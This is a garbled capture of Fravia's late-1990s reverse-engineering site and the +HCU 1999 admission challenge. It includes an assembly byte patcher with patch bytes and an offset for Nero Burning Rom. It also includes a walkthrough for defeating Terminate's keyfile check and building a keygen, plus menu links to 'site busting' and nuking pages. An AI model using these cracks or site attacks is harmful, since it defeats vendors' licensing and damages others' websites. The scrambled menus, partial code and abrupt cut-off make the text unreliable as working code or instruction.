The 404 reports, where I found a very valuable help in RedHerring: a capable stalker.
The +HCU Visual Assembler Project, started and managed perfectly by +Mammon_ with the help
of +ReZiDeNt and many other capable ones
'important' sites that DOES NOT go commercial, because I hate all the commercial oriented bastards that are
polluting our web.
So I'm loosing money with all this, just for the sake of it...
See, what I'm really "fishing for" is a billion-rich philantropist that would like to set up a nice reversing
foundation and let me have a try at directing it :-)
My lessons and seminars (up to 30 persons) are free (for universities and public educational institutes), yet I
do request reimbursement for my travel and accomodation costs.
European Union Universities will always have scheduling priority.
For additional information concerning the content and level of the short courses and seminars, just contact
me. I can conduct workshops in English, German, French or Finnish, but I would suggest English, for
obvious reasons...
As an example here is the last workshop I held: A simple semanthical/reality cracking seminar (this was held
in Germany): we took the main Euroamerican newspaper (and CNN) covering of the US-leaded Multi-forces
Landing in Somalia, plus the covering of their departure and we added some facts that emerged afterwards
about the bad conduct of these same troops in Somalia. (Of course in order to gather all the relevant info and
images from various net archives we proceeded also to reverse or bust some simple site-access protection
schemes made in perl or javascript :-)
At the end of the workshop, the existence of pre-prepared patterns of disinformation in the news was quite
obvious and I demonstrated (at least I hope I did :-) how such older 'disinformation modules' -once studied
and reversed- can easily be reused by the readers in order to reverse less obvious cases of organised
disinformation (like the actual "Kossovo" affair, which follows analoguous patterns).
And yes, before you ask, these disinformation modules "develop" too, exactly like software protection
schemes do :-)
2) Critics and suggestions about the existing essays are also ALWAYS welcome. Keep in mind that
ANYTHING on my site can be changed if you convince me. As I stated more than once I am ready even to
CHANGE MY MIND if your arguments are good enough.
3) I know that my english -to say the least- lends itself to quite a number of possible "ameliorations" . Please,
if you can, do me a favour and GO AHEAD! Correct! Change! Suggest! Your linguistic critics are always
welcome and could/will be useful for quite a lot of other readers as well.
4) Moving around the web I have "lost" some files. Anyone that downloaded them from the "old sites" of
mine could possibly re-send them to me? Here a small first list: wcb.zip; trackmem.zip; filedump.zip; ia.zip;
bizatch1.zip; exeutil.zip; psp21.zip; ums1.zip; cust.zip; ucfpd114.zip; stress.zip; wspy.zip; gwb.zip;
gwbasic.zip.
Some explanation
My old fortress was heavily syn-attacked in January 1999 and forced to close (the router frigged). I took the
opportunity to held a short 'vacation' from the web and went back end-April with a new fortress that is now
being heavily guarded and defended by wizard Kevin (nonetheless :-)
Since the attackers are from the West coast of the States (and have been documented using 8 machines from
a M$-stream at one given time :-) some visitors from that area may experience some problems (basically
heavy automated trackwork :-) when accessing from West coast USA backbones (a backbone is the
high-traffic-density connectivity portion of any communications network)
Since the syn-attackers were beginning to bust my mirrors as well, some friends decided to set up a "mirror
jungle". You'll be able to find lists of my many mirrors (not all of them working) at Tapu's and especially at
Jeff's special pages.
homepage
Back to the main entrance
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved
"Copy-protection schemes": elegant devices for training the next generation of assembly-language
programmers
[basic]
[guts]
[anonimity]
[be careful dad]
[bots]
[counter measures]
[javascript wars]
[against smut]
[reverse
[reality cracking]
engineering]
[reality cracking [fravia's own]
lab] [refs]
[reverse
[Anonymity lab]
engineering Lab]
[stalking Lab]
[software
[How to search Lab]
protection Lab]
[Site busting Lab]
[reversing tools
[LINKS]
Lab]
[TOOLS]
Software reverse engineering, web survival arguments, how to search, anonymity on the Web; cookies
removal; robots and spiders trapping; anti-Micro$oft, anti-Netscape and pro-Opera scripts and tricks;
tools for software reverse engineering; cgi-cracking; user self-defense; corporate survival counter
measures; home-pages capering and passwords cracking; commercial smut sites busting; Java applets
reversing; vxd monitoring and reversing; steganographical and cryptological reversing matters;
Javascript based site protections
links, tools and search engines... all good sites have these sections... but look at
mines!
fravia's favourite links page
Here you'll find some good links, obviously commented
The "guts" of this site: +ORC's "how to crack, a tutorial" and the coveted students' essays... studying
these documents you'll learn how to reverse engineer any software... be warned, there is a HUGE
amount of material in here (more than 315 (yes, threehundredand15) essays :-)
(How to protect your software against us crackers... there are various sections)
fravia's steganography page How to exploit images and sounds (Basic tricks and entrance to the
for your purposes advanced page)
What Fravia knows about you Scary tracking Webmaster's (Basic knowledge and some
options examples)
Tweak your browser! Tracks hidden in your cache (Basic removal knowledge)
A general approach smut site bombing (Why and how to annoy them)
i.e. how to find the "commercial
combing (how to identify the weak ones)
smut" sites
(forgotten snippets of
How to exploit 'crumb trails' inside
source checking information inside counters and
a page
images)
How to exploit weak CGI-script
(How to nuke a page against the
cgi reverse engineering: one and PERL programs used by the
will of its owner)
Smut dealers
cgi reverse engineering: two How to exploit CGI-script, server (How to see a smut site going
side includes and perl ticks Ka-boom! under your very eyes)
Tricks and truths you better know to fight back the slave masters...
The "BOTS" section, little tricks you better know to catch and reverse any agent
Fravia's hidden section about "Spider squashing" and "bots trapping"
application
("tutorial" section - search section - essays - programming languages)
__Cracking tutorials__
Softice beginners will therefore be well advised to read the VERY GOOD document by fellow +cracker
Mammon:
Mankind comes into the Ice Age
there you will find a COMPLETE 'how to use Softice' text with two VERY IMPORTANT exercises:
Debugging an existing application and Regaining Lost Access.
No beginner should be left alone with Softice without this mighty help!
Of course, if you are a total newbye, and cannot even INSTALL softice, you better have a look at
siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners, by i_magnus
...of course there are many more pages and specific sections, some of them can be accessed only
from particular points of entry... other will require (a little) ingenuity :-)
you'll find the access points and/or understand the (most simple) correct access techniques
wandering around. It takes time (and a little work) to be a reverser, so don't worry and don't
hurry.
links +ORC students' essays tools anti commercial smut anonymity academy
counter measures javascripts wars stalking reality cracking corporate survival
counter intelligence cookies steganography cocktails search page
protectionist corner bots' wars mail_fravia+
Is reverse engineering legal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed
[basic]
[guts] [anonimity]
[be careful dad] [bots]
[counter measures] [javascript wars]
[against smut] [reverse
[reality cracking] engineering]
[fravia's own]
[reality cracking
[refs]
lab]
[reverse [Anonymity lab]
engineering Lab] [stalking
[software engineering Lab]
protection Lab] [How to search Lab]
[reversing tools [Site busting Lab]
Lab] [LINKS]
[TOOLS]
Project 5: Netscape
Project 3: Dongles cracking Project 4: CD-Rom faking
ameliorating
Project 7: Most stupid Project 8: VisualBasic
Project 6: Crippled targets
schemes cracking
Project 9: Micro$oft bashing
Exegesis of a partition
(and a letter from +ORC)
~
Don't make the mistaken assumption that the most recent essays are the best ones!
All the essays published by the +HCU are good (should you ever believe that one
essay did not deserve to be published, please write EXPLAINING your point and
I'll act if necessary). Some essays are really outstanding, and you'll find
incredibly important essays among the first ones as well. Like so many things in
life, the newest products are NOT automatically the best ones (this is for instance
true also for wordprocessors, wines and university professors :-)
Peruse the essays at will, download what you like. It may appear daunting, yet
actually I believe you should read all of them if you are seriously interested in
software reverse engineering... you'll soon notice that some deal with much more
interesting themes that mere protection busting: functionality adding, hidden
functions re-enabling, software amelioration... and a lot of new other software
reverse engineering tricks and fields. If you are seriously interested in software
reverse engineering you should also read, I believe, my filemon serie, an attempt
to completely reverse engineer a Windows 95 program. If you're a newbye, my
cracking for dummies lessons could also be useful.
Don't forget the other tutorials either, that you'll be able to access from my other
pages.
I know: there is a big need to organize better these essays. I intend to write some
perl scripts, unfortunately I'm overloaded with work at the moment (my site, as
you have probably seen, is a quite huge endeavor) and this takes a lot of time. If
you want to help in this, by all means, do it. I believe that a good idea would be to
gather YOUR opinions about which essays should be labeled
"FUNDAMENTAL" reading, which should go under a "NEWBYES
COMPULSORY READING" badge and which, if any, should be eliminated.
Please write me your suggestions, for instance as 'lists' of the 10-20 essays you
would advice a beginner, or an intermediate or an advanced reverser to read.
Here's a old letter from +ORC -about these essays- that pleased me very much:
...therefore fravia+ I conclude that the work on the "student essays" page is incredibly important for the
whole cracker community (and even for your beloved shareware programmers :=) and I am certain that
its effects will be huge, albeit delayed by the awkward snowball effect of the Web. I had never found
available such a treasure of knowledge before and I gladly admit that I have learned a lot myself. I am
happy to have contributed to the birth of the students' essays (have I really "founded" the site?) through
my tutorial, which seems to me now wholly superseded by the cumulative (and much superior)
knowledge offered by the essays...
...only one remark, may be: the DOS/UNIX world seems very neglected in the essays... everybody is
cracking exclusively the newest applications for windoze, and that could be a mistake: many powerful
protection schemes that have been developed in DOS long ago, are until now UNCRACKED, and are or
will be used again for future (tough) software protection. Therefore, if I ever find the time to "finish" my
remaining lessons, I will concentrate on older (yet tougher and not obsolete) protection schemes: I said
that we must crack windoze in order to throw our seeds with the wind, true, but let's not forget that, as
you know very well, a good knowledge of the past is the only tool you can relay on in order to foresee
the future...
...You see fravia+, for the first time in the history of humanity knowledge can be spread for free and
reach anybody who cares :=) I don't know if this contingency will last, coz many powerful forces are
struggling against this. Should knowledge, their efforts notwithstanding, continue to flow in this way, it
will change the face of the world as we know it. We are already now thoroughly involved in this, and
your "students' essays" page is a very good example of a potential new dawn. We will see in due time...
let us sip our cocktails and wait... as I told you, the repercussions, on the web are never immediate, yet
the inertial effects of our work could be huge. Thank to your (and some other) sites, those who want to
learn will now be able to begin learning (and teaching, which is the other side of the same extraordinary
mirror) within very powerful frames. It was about time: maiora premunt!
The world of the near future will be a "world of software", an half-virtual world, where code will assume
today unbelievable massive proportions, where "reality" will not count much for the pavlovian gullible
beings that will forget their miserable slave conditions deafened by the concerted (and concocted)
"virtuality" that they will Oh so much love. A world of software, a world of code, and therefore, as usual,
a world of hidden codes and hidden meanings (as if the world we live in now did not have already
enough of them :=(
I just hope that many of our "students" will soon tackle the more complex and even less rewarding task
of cracking the reality they live in... hoc opus, hic labor: software protections are only a tiny part of the
"unknown" world around us, albeit a very useful playground to flex your "reversing muscles". Our
students and friends will have the difficult (and seldom rewarding) task of finding the keys of its
concealed doors, in order to donate them to all those who care, to all those that our enemies are
determined to leave outside. In fact they "must" remain out in order to allow fat profits for a minority.
This future code world will be a scary world indeed if we don't modify (or destroy) the rails our societies
are now running on: the data (common UN-data, everybody could have access to them, nobody does)
show that the quintile of the richest countries of this world (count all countries and divide them in five
groups according to their per capita product) has now (1996) an 88% share of the world INCOME (it was
74% in 1965). The remaining four quintiles of countries get now only the 12% (it was 26% in 1965).
Moreover inside each country (rich and poor alike) takes place an analogous "development" in favor of
the richest part of the population... that's the current "progress of humanity" stand behind all bla-bla-bla:
rich get richer, poor get poorer... a nice society indeed, headed at full speed against a brick wall.
I advice you to fasten your seat belt and to seat next to an emergency exit.
Like cracking.
Work well, +ORC
Well, Master +ORC has always been a little catastrophic, yet I believe too that
reality cracking is most important, yet I hope that +he will overcome his
legendary laziness and send us +his "zen" lessons as soon as possible, because we
need +his guide and +his help, now more than ever (enough! Complete and send
your bloody lessons! :-)
Let's think to the future of this section: once more, I see many classification
possibilities for the essays, but I would like to hear your opinion. I hope that the
+HCUkers will answer to me (or put their thoughts on the good HCU's
newsletter), but, as usual, any friend that cares is welcomed to comment (or help
in) the development of my site.
+HCU 1999
[The new +Hcukers] [The solutions]
Strainer published in April 1998
Solutions published in October 1998
The STRAINER
A great strainer from Master +Aesculapius, I know that thousand (literally: I reckon I received lately more than 900 emailings
about this!) future reversers and protectors all around the world are awaiting this with impatience. Once more: the +HCU is
NOT a cracking group, it's a open university, open to ALL crackers, protectors and reversers alike... if capable. You may be in
a group, you may be a lone wolf cracker, you may be an university professor for informatic or the CEO of your own software
company, we couldn't care less: we want your knowledges, we'll give you our knowledges. You don't need to be a
programmer, you need to understand code, it is NOT the same thing.
So, if we're not a group, why do we keep publishing our 'strainers for admission' every year? Well... we'll of course continue to
teach openly (for everybody that wishes to read our essays) all the basic and advanced techniques, as we have always done, yet
we need a "Kern" of dedicated and capable +crackers in order to imagine new solutions, devise new techniques, develop old
and new team projects and understand very advanced (and new) reversing topics. That's the mission +ORC trusted us, that's
what has changed dramatically the cracker scene in the last three years (everyone and is dog is now publishing essays, which is
GOOD :-) and that's therefore the scope of our yearly strainers: to find the best among you and to commit them to teach (and
understand) our wonderful trade: reversing.
As usual, all answers for +Aesculapius' 1999 strainer should be sent to us BEFORE end September 1998. Looks to you like a
long time? You better be careful: think again. It's more than enough in order to do a good work, if you start working now.
aesculapius(at)stones(point)com
or to any +HCU caretaker (+gthorne, fravia+, +Sync). All
answers will anyway land by +Aesculapius, who will have
the pleasure (and the responsability) to decide WHO among
the partecipants should be admitted to the +HCU's next
year's courses.
And, of course, all 'old +hands' are invited to partecipate as well: to reverse under the direction of a master +cracker is a rare
pleasure and this below is a beautiful strainer indeed!
fravia+
1
THE FIRST CHALLENGE:
Considerations:
same; however, terminate 5.0 keeps rejecting old false 4.0 keys and
accepting old authentic 4.0 keys.
2
THE SECOND CHALLENGE:
Considerations:
DOS is dead, thereby, new crackers have to probe they can adapt to
more challenging 32 bit operating system tasks. Its amazing, that even
now, when everybody is using a 32 bit operating system, most crackers still
rely in good old DOS to create their byte patchers. The byte patcher is
without any doubt a great symbol for any cracker. The first program, in any
language, any of us probably coded was the traditional "Hello World!" which
is featured in almost any programming teaching book. In the same way, the
first program, in any language, any cracker probably coded was the
traditional byte patcher. In fact, the byte patcher represents in many
cases the edge between the casual cracker and the truly committed
future reverser.
In this task, you'll have some help from me. DOS still rules in file
patching among crackers, an incredible fact considering 32 bit
patching using API functions is easier, quicker and provides the cracker
with additional advantages never seen in 16 bit patching. I'm going to
code a byte patcher calling win32 API functions. This is not the state of
the art in file patching, because MFC goes beyond and encapsulates most
Win32 API functions providing the coder with high flexibility in
necessary API parameters and solving at the same time the terrible lack of
functionality of C/C++ in string management tasks. To preserve tradition,
I'll use assembly to do the job. You can use the language of your
preference, but remember, the patcher must run in 32 bit Windows based
environment.
;--------------------------------------------------------------------------
; 32 bit Byte Patcher.
; Coded by +Aesculapius - 1998.
; Designed as part of the +HCU Strainer for 1999.
EXTRN OpenFile:PROC
EXTRN ReadFile:PROC
EXTRN WriteFile:PROC
EXTRN CloseFile:PROC
EXTRN GetLastError:PROC
EXTRN SetFileAtributes:PROC
EXTRN CreateFile:PROC
EXTRN SetFilePointer:PROC
EXTRN CloseHandle:PROC
EXTRN ExitProcess:PROC
EXTRN MessageBoxA:PROC
; Welcome message
LOGO DB 0AH,0DH
DB 'Nero Burning Rom 3.0.4.0. ',0AH,0DH
DB 'Coded by Aesculapius - 1998. ',0AH,0DH
DB ' ',0AH,0DH
DB 'Email: ',0AH,0DH
DB 'aesculapius@stones.com ',0AH,0DH
DB 'Home Page: ',0AH,0DH
DB 'http://members.xoom.com/Aesculapius/Aescu.html ',0AH,0DH
DB ' ',0AH,0DH
DB 'Proceed? ',0AH,0DH
DB 0AH,0DH,0
NULL EQU 0
PATCH_SIZE DD 00000010H
PREV_DATA DB 75H,22H,0C7H,45H,0FCH,0FFH,0FFH,0FFH,0FFH,0E8H
DB 7BH,03H,00H,00H,0B8H,01H
; Patching string
; <-- Modify according to your target
PATCH_BYTES DB 0EBH,00H,0C7H,45H,0FCH,0FFH,0FFH,0FFH,0FFH,0E8H
DB 7BH,03H,00H,00H,0B8H,00H
PATCH_LOC DD 0003D579H
BYTES_READ DD ?
; Code "segment.class"
tppabs="http://fravia.org/segment.class" begins
.CODE
PUSH NULL
CALL MessageBoxA
GO_ON1:
; Check if file is suitable
; for cracking procedure
PUSH NULL
CALL MessageBoxA
GO_ON2:
PUSH MB_OK
PUSH NULL
CALL MessageBoxA
;-------------------------------------------------------------------------
1. Create a Windows based 32 bit byte patcher for any target you
wish, using any programming language.
Remember one thing: if you use assembly to build your patcher, your
code must NOT resemblance mine, otherwise, you are automatically out
of the game.
3
THE THIRD CHALLENGE:
1. The participant is able to combine both the live and dead listing
approaches.
2. The participant is capable of defeat anti-cracker tricks.
3. The participant knows how to search&destroy hidden protections.
4. The participant understands the inner functioning of a good
protection.
Considerations:
From now on, all the work comes directly from the genius of +ORC
himself. He proposed me to study Brainsbreaker and decide if it was good
enough to be included in the strainer, as always, he wasn't wrong.
Brainsbreaker is a puzzle creation game, so what could be better than a
puzzle to challenge a cracker, whose daily work is dealing with reversing
puzzles. I won't talk about the target itself because that will be your job.
Ultimate
THE ULTIMATE CHALLENGE:
Considerations:
+Aesculapius - 1998.
aesculapius(at)stones(point)com
The Solutions
Have a look and download: one of the most intersting reversing project of this
year: some VERY good reversers tackle some difficult protection schemes
WARNING: This is GREAT reading for advanced protectors and reversers only. The TONS of information that you'll find
inside will keep you studying for a couple of weeks at least. You should by all means, in your +truly's opinion, first try to crack
the strainer on your OWN. Even if you don't, because you'r simply too lazy and want only to leech, reading this material you'll
anyway get deep insights in some of the most advanced protection and deprotection techniques. Enjoy!
+HCU 1999
Strainer published in April 1998
Solutions published in October 1998
The SOLUTIONS
GREAT READING! (for advanced protectors and reversers only)
Congratulations +all,
Welcome to the +HCU, I know you are already elite crackers. You have
gained your admission in our university; from this day, we will share
cracking knowledge constituting the most valuable and unique feedback
between the best crackers in the scenario. You can now proudly wear the
'+' sign before your names. This small sign means to us: work,
responsibility, self-esteem, commitment, creativity, originality, and
many other desirable qualities. You have defeated the first challenge,
many more are still to come. Each one of you will be assigned with a
line of investigation, a task derived from the abilities showed in your
particular manner to solve the strainer. You can also choose to develope
in your prefered area. The +HCU has no place for ivernated crackers, but
for active ones. All +HCUckers will comment or contribute to enrich the
discussion. In the next days, you'll instructed on the next steps to
follow as well as your configuration in the private mailing list.
I'm responsable for your admission in the +HCU and I'm certain you wont
dissapoint me.
+Aesculapius.
After having read +Aesculapius great challenge, I decided to give it a try because it's always fun to sink your teeth into a new
challenge. Most of the time you'll also end up having learned something new on the way, and this was defintly no exception!
A good choice is problaby NOT to read it all at one time, instead read one part at a time. That way hopefully it wont be that
confusing (trust me - it's confusing enough already :))
So, enjoy (or dont) my answer to the 1999 HCU strainer!
(oh, and please excuse me for all spelling mistakes)
Ah, this program sure brings back some memories! I myself used it quite alot in the good old days when calling BBS's. As I
knew nothing about cracking at that time I used the shareware version, but now with my newly gained cracking skills I thought
it was time for revenge! Look out Mr. Bo Bendtsen, I'm out to get you! Well, at second thought I think I'll just settle with
cracking his program. :)
Did +Aesculapius leave any hints when introducing the program in the strainer perhaps? Yes he did, he told us that Terminate
uses a "missing key file" protection. Ouch, these are often pretty tough to crack (and this is no exception), but as long as you
have patience, you'll do fine. So, let's start out by creating a bougs file called "TERMINAT.KEY". Fill it with some bogus text
and we're off to cracking land! My fake file was around 5 kb.
As we're dealing with a DOS program we'll have to put breakpoints on an interrupts and not API functions. Int 21, Function
3Dh is "open file using handle" and is used alot when opening files in DOS, so lets put a breakpoint on that one. "bpint 21 if
ah==3d". There, now run the program and you'll find that softice pops up pretty soon. As you should know (otherwise you can
look it up) dx holds the offset to the filename, so "d dx" and we'll see the name of the file beeing opened. Bah, no luck this
time because as you see the name of the file beeing opened is called TERMINAT.EXE, and this is not the file we're interested
in. Keep the breakpoint, and leave softice. Back again in softice, so type "d dx" again and look at the data window. Yeah! The
name of the file that the program tries to open this time is called "TERMINAT.KEY" and this is the keyfile we're trying to
reproduce. If this was a windows program we would have put a breakpoint on the "readfile" function by now, but as this is dos
we'll have to use the interrupts once again. This time we'll be using Int 21, Function 3Fh which is "read from file or device
using handle". If you dont know these things, I recomend HelpPC - a great program where you can look up most of the
interrupts.
Ok, remove the old breakpoint and instead use "bpint 21 if ah==3f" this time. As this function will read data from file to ds:dx,
type d dx again when sice breaks in. That way you'll see the data beeing read in the data window. Number of bytes beeing read
is held in ax once the interupt has been called, so you can see that 162h (=354 dec) bytes has been read (that is if your file was
big enough. Otherwise create a bigger one, around 4-5 kb's or so). Now these newly read bytes must be checked somehow, so
let's place a BPR on them, and let the program run again.
Step 1 - The first checksum check
If everything went ok, you should now land in a code that looks like this:
Checksum:
inc word ptr [17D2] ;Increase the counter
mov di,[bp+6] ;These couple of lines just increases di with one.
les di,ss:[di+FEFA]
mov ax,es
push ax
mov di,[17D2]
pop es
*mov al,es:[di] ;Get one byte from the read-buffer in al
push ax
mov di,[bp+6]
push word ptr ss:[di+fef8] ;Storage value 2 (first time this value will be
FFFFh)
push word ptr ss:[di+fef6] ;Storage value 1 (same here, preset to FFFFh)
and dx,00FF
pop cx ;Restore cx
push bp
mov bp,sp
mov ax,[24E6] ;Seed value 1 (preset to 7)
mov bx,[24E8] ;Seed value 2 (preset to 0)
mov cx,ax ;Move Seed value 1 to cx
mul word ptr [12BC] ;The value at offset 12BC is always equal to 8405h
;Output will be in both ax and dx
shl cx,1 ;shift left one time
shl cx,1 ;same as above
shl cx,1 ;same as above
add ch,cl ;ch+cl
add dx,cx
add dx,bx ;bx is seedvalue2
shl bx,1
shl bx,1
add dx,bx
add dh,bl
mov cl,05
shl bx,cl
add dh,bl
add ax,0001
adx dx,00
mov [24E6],ax ;the new seed value 1
mov [24E8],dx ;the new seed value 2
xor ax,ax
mov bx,[bp+6] ;[bp+6] will always be 100
or bx,bx
jz *1
xchg ax,dx
div bx
xchg ax,dx
*1:
pop bp
retf 0002 ;End of the function
Alright! Now, it isnt very important to understand exactly what every little instruction does in this function. The important
thing is that the output value is saved in ax, and that it's generated from two word variables which I called "seed value 1" and
"seed value 2".
Ok, now to the real decryption function. It looks like this:
mov ax,es:[di+15E] ;Move the second last word of the read-buffer into ax
mov dx,es:[di+160] ;Move the last word of the read-buffer into dx
mov di,[bp+6] ;Sets di to zero
cmp dx,ss:[di+FEF8] ;Compare dx with Storage value 2
jnz nogood ;It they dont match, we take the jump
cmp ax,ss:[di+FEF6] ;Compare ax with Storage value 1
je good ;If they match, take the jump
jmp nogood ;If they dont match, this jump will be taken
Hmm, this check is somewhat more difficult to crack than the first one, as all bytes from 5B-161 in the read-buffer is
decrypted. That means that the two last words in the read-buffer is also decrypted, and so we cant crack it like the first check.
But dont worry - if we're making a keyfile generator (which we ARE going to do) it's pretty simple. As we're not decrypting
anything in our keygen, quite the opposite - we're encrypting instead, we already have the decrypted information from start
(the name, address, city and country in this case).
Before I explain how to crack this check lets see what we got now: We know that the registration information begins at offset
481h (remeber? the byte at this offset in the keyfile was the first one to get decrypted) and ends at offset 481+102+4=587h in
the keyfile. This is ofcourse very important to know when we're making our keygen. We also know that the registration info
are stored on a total of 102h bytes and there's a checksum of 4 bytes (which is not stored directly in the keyfile but encrypted).
So, how to crack it? Let's think a for a moment (yeah, sometimes that can be usefull). We want the two last words in the
read-buffer after they have been decrypted to match the checksum values that are calculated from the decrypted bytes. It's
really no big deal. In our keygen we'll just execute the checksum function on the registraion information (which we already
know is 102h bytes, and stored begining at offset 481h in the keyfile) and we'll get as output these two words. We'll then save
these words after the real registration information in the keyfile! As we in our keygen will later ENcrypt all the registraion
information AND the four checksum bytes with the same (but in reverse order of course) algorithms that is used by Terminate
to DEcrypt the information, the checksums will match!
Ok, I know it might sound a bit complicated, but it's really not so hard. Read the above lines a few times and you'll soon get it
(or else you can email-bomb me or something). Another good thing is to check out my keygen source to see how it works.
Step 3 - The complicated final check
Alright, we have one more check left, and this is the most complicated one. But fear not - As you will soon see it looks a whole
lot more complicated than it really is.
After the above check, we'll see that some other values are created using our two "storage values" as key source. This is done
through a couple of different function, all of them features quite a lot of XOR's, SHL's and other bit manipulation instructions,
trace them if you want. As we dont want to make our work any harder than it already is, let's just step over these functions for
now as we first of all want to find where the check(s) is done. Then we can concentrate on how to crack the checks. We'll soon
get to this piece of code:
call Big_check
Hey! This must be interesting, so many push'es before a call. This just HAS to be interesting (can you feel it?). For now, lets
just step over this call and see what happends.
Performing integrity check on Terminate, before registering...
Hmm, nice, but one thing that isnt very nice is that we never get the control back. The "Big_check" call never finnishes! So,
we can now guess that if the keyfile was valid the call would reach an "retf" instruction somewhere and thus letting us have
control again. "Our mission, if we choose to except it, it to make the "Big_check" call reach the end (an "retf" function). This
message will self destruct in 10 seconds..."
So, now it's time to trace the call. Geeez, that's one big happy function! If you step through all the calls you'll find that there are
only three ways that we can reach the "retf" function...there are three checks:
perhaps_ready:
mov ax,[BP-4E]
mov bx,[BP-4C]
mov dx,[BP-4A]
mov cx,DB94
mov si,1894
mov di,0731
call checkit
jb alrighty
jmp loooser
alrighty:
mov ax,[bp-54]
mov bx,[bp-52]
mov dx,[bp-50]
mov cx,358D
mov si,BA5E
mov di,747B
call checkit
ja alrighty2
jmp loooser
alrighty2:
...
You will see at the offset that I call "perhaps_ready" there will be 5 new checks (I only included 2 of them it above code
snippet). If everythink went well here we would reach the end of this call, and that means that we (hopefully) will be fully
registered!
But first of all lets concentrate on the first three checks. Do we have to care at all? Lets try to put a breakpoint on the
"perhaps_ready" offset (for me this was cs:1ADC). If we dont break we have to fully investigate the whole function and as you
know it's HUGE! On the other hand, if we DO break on this breakpoint there is a slim chance that we dont have care about the
whole function, just the 5 later checks. So, place the bpx and cross your fingers!
The "bla bla, performing integrity check bla bla" shows up and we'll see the progress-meter doing its work. Hey! After a while
we DO break on our breakpoint! Great, if we only would get through these last 5 checks we would reach the end of the
function! Lets see what happends...first check went ok...so does the second and third...but oooh no...we fail at the fourth check
(this could be a bit different for you depending on what kind of information you filled you keyfile with. I filled it with zero
bytes)! To bad! Just to see if we are on the correct path, let's change the carry flag so we DO take the jump. WHOA! We get
the "thanks for registering" message!
Lets take a moment or two to think about it (a moment of clarity perhaps? :)). As we know 9 word values are pushed right
before this call. So - based on these 9 pushed values this routine decides if it's a valid key or not. At the "perhaps_ready" offset
you'll see that for each check there are three constants (the cx,si and di regiters) and three variabels. A good and clever guess is
that these varaibles have their origins in the 9 pushed values. We can therefor draw a conclusion (one should'nt really draw
conclusions based on guesses, but what the heck :)):
The nine values pushed right before the call is executed decides if it's a valid key or not.
Of course, our next question will then be How is the 9 word values created? We already know that our two checksum values
from check #2 is used, but in what way? What happends??? Let's investigate that! Here is what happends right after the second
check has been made:
mov al,A0
or dx,dx
jnz dxnotzero
...
dxnotzero:
or dx,dx
js blah
here:
dec al
add bx,bx ;bx = storage value 1
adc dx,dx ;dx = stroage value 2
jns here
or ch,ch
js end
and dh,7F
end:
ret
Ax will hold a max value of 9Fh (A0-1). You can see for yourself whats happening to the storage values. Depending on the
sign flag after the "adc dx,dx" instruction the loop may go on. At the end "AND DH,7F" will be executed. As you will see
soon it's not very important to understand EVERY part of this call but it is important that you remeber the three output values
and how they got created.
Let's continue browsing the code. You will see that the output from the previous call (ax,bx,dx) will be saved away and used in
the next call. Cx, si and di is set to zero. If you trace this call you'll see that the output will be the same, no matter what! So,
this call is just to confuse a cracker. The next piece of code we'll come to doesnt include our values (they are safly saved away)
and thus we dont have to care about it (atleast not now). What we are doing now is truley zen - feeling what code is interesting
for us and what is not. Finally we come to an interesting part again:
mov ax,ss:[di+FED8]
mov bx,ss:[di+FEDA]
mov dx,ss:[di+FEDC]
mov cx,0084
xor si,si
mov di,2000
call 2CAE:16E5
...
Just as the previous interesting call, we dont really have to understand everything, we just need to know what the output is and
how it got created. If you step over the call you'll see that the only value (that we're intersted in) that's changing is BX. How
you might ask? By tracing the call you'll find that 14h (=20d) is added to the original value a number of times. The number of
times depends on the value in al:
al=9F - add bx,014h
al=9E - add bx,014h*2
al=9D - add bx,014h*4
...
Now we'll see this piece of code:
mov di,[bp+6]
mov cx,ss:[di+FEDE] ;Where did these value come from??
mov si,ss:[di+FEE0]
mov di,ss:[di+FEE2]
call 2CAE:1707 ;Lets call this the "master-check"
je 0D7D ;Hmm...a conditional jump here?
...
If you trace this call you'll see that:
dx is compared with di
al is compared with cl
bx is compared with si
And as we know ax,bx and dx holds the output values from out previous call and cx,si and di hold some other values that we
dont know where they came from (atleast not yet). It's always easier to relate to values if you give them names, so let's call
ax,bx and dx for "final check values".
If all these values matches the jump after the call will be executed. If you arent extremely lucky the values will NOT match, so
fake the carry flag and take the jump anyway and let the program run.
BOOM - The program is registered!
Great! We dont even have to bother about anything else but making the program take this jump in order to crack it! This jump
will produce nine "good" values that are pushed before the "Big_check" call and therefor the program will be registered. First
of all we have to figure out where the three values moved into cx,si and di came from. You can do this in a number of ways, I
wont even bother to explain how (hint: a bpr is a good start).
Remember when I described the first checksum protection that terminate used I also said something like "this is very
important, but we dont have do care about that right now"? Well, now it's time to care about that :). So, go back to where the
first checksum function was executed and check out whats happening when "counter2" is equal to 5:
mov di,[bp+6]
les di,es:[di+FEFA]
mov ax,es:[di+015E] ;Hey! This is interesting!
mov dx,es:[di+0160] ;And so is this :)
call 2CAE:170B
As you see a word value from the good old "read-buffer" is moved into ax and another one into dx. Lets come up with a name
for these two values as well. Lets call them "key values". These values has not been processed in any way and we can really
easy find out what offset in the keyfile these values has. 4*162+15E=6E6h (4*162 bytes has already been read and this is the
5'th time) is the the offset for the first one and 4*162+160=6E8h the offset for the second. Then these values are used as input
for the call. If you have a good memory (not RAM, we're talking brain here :)) you'll recognize the offset of the call. If you
dont, trace it and you will problaby recognize it. It's the same call that is executed right after the second checksum check, but
that time the input values was the two storage values. Continue stepping through the code and you'll see that nothing else
happends: Another call is executed but that wont change the values (my guess is that it's only good for confusing crackers). A
jump is taken and the three new values are saved away.
In case you havnt already figured it out - these are the three values that are used in the call I called "master check". So, we now
know the final task - making these three values match the three "final check values". That way we will have a fully functional
reg-key!
Ok, it's time to sum up what we already know:
1 - The three "final check values" are created from the two storage values we got from the last checksum check.
2 - Only two calls are executed on these these two storage values in order to create the three final check values.
3 - The first call that is executed on the two storage values is also executed on the two "key values".
Ok, as you see there is not much that differs between how we get "final check values" and the "key values". The only
difference is a call that is executed when we're dealing with the "final check values" but this call doesnt do that much. As we
already know all that call does is that it add's 14h to bx a number of times depening on the value in AL. That's the only
difference!
If that call wouldnt exist it would have been a VERY easy job for us - we would just have saved the two storage values that we
got after the second checksum check and used them as the two "key values". But fear not - the solution is pretty easy anyway.
We know that both the storage values will be multiplied with atleast 2 (this is the work of the first call). We also know that
storage value 1*2 will be added with atleast 14h (the second call does this). The third thing we know is that also the "key
values" is multiplied with atleast 2 (the first and only call for them).
Our common sence tells us that we have to add something to "key value 1" in order to make is match with "storage value 1",
